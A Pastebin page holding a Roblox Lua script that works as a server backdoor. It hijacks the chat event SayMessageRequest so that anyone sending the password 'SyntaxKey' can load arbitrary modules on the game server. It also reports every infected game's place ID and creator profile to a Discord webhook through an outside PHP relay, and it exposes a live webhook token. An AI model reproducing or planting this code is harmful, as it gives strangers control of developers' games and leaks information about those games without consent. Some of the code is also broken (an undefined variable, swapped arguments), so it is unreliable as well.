SyntaxIsHere

Untitled

Dec 30th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. local module = {}
  2. local Remote = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents").SayMessageRequest
  3.  
  4. local password = "SyntaxKey"
  5.  
  6. Remote.OnServerEvent:Connect(function(Player, module, playur, ckey)
  7. if(ckey == password) then
  8. require(module).load(playur)
  9. end
  10. end)
  11.  
  12.  
  13. local Webhook = "https://discordapp.com/api/webhooks/528892092781690881/waAdKkNxnt3pNG8QtCXXZNkUg8dK7-laQkY2xt1ElrJ2RtFhx4pNncMY_vCCUDJ5pft2"
  14.  
  15. function send()
  16. local Http = game:GetService("HttpService")
  17. local Website = "https://www.0tec51.info"
  18. local File = "/PostToDiscord.php?"
  19. local sent = {}
  20. local function checksent(id)
  21. local is = false
  22. for i,v in pairs(sent) do
  23. if(id == v) then
  24. is = true
  25. end
  26. end
  27. return is
  28. end
  29. local s = pcall(function()
  30. game:GetService('HttpService'):GetAsync('http://www.google.com/')
  31. end)
  32. if(s == true) then
  33. local templateids = {
  34. 0,
  35. 92721884,
  36. 95205458,
  37. 301530843,
  38. 301529772,
  39. 92721754,
  40. 95206881,
  41. 95206192,
  42. 95269276,
  43. 203783329,
  44. 203810088,
  45. 203812057,
  46. 203885589,
  47. 215383192,
  48. 264715997,
  49. 264719325,
  50. 379736082,
  51. 366120910,
  52. 366130569
  53. }
  54.  
  55. local function checkgameid(id)
  56. local is = false
  57. for i,v in pairs(blacklist) do
  58. if(id == v) then
  59. is = true
  60. end
  61. end
  62. return is
  63. end
  64. if(checkgameid(game.PlaceId) == true) then
  65. if(game:GetService("RunService"):IsStudio() == true) then
  66. local Info = {
  67. username = "skid",
  68. content = "The Model Was Run On A Template in Studio"
  69. }
  70. Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
  71. else
  72. local Info = {
  73. username = "skid",
  74. content = "The Model Was Run On A Template"
  75. }
  76. Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
  77. end
  78. elseif(checksent(game.PlaceId) == false) then
  79. local Info = {
  80. username = "skid",
  81. content = "new game found : \n https://www.roblox.com/games/" .. game.PlaceId .. " owner id : " .. "ttps://www.roblox.com/users/" .. game.CreatorId .. "/profile"
  82. }
  83. Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
  84. table.insert(game.PlaceId, sent)
  85. end
  86. if(s == false) then
  87. while true do
  88. wait(10)
  89. print("If you see this, please tell the owner of the game to enable https requests, thanks!")
  90. end
  91. end
  92. end
  93. end
  94. send()
  95. return module
Add Comment
Please, Sign In to add comment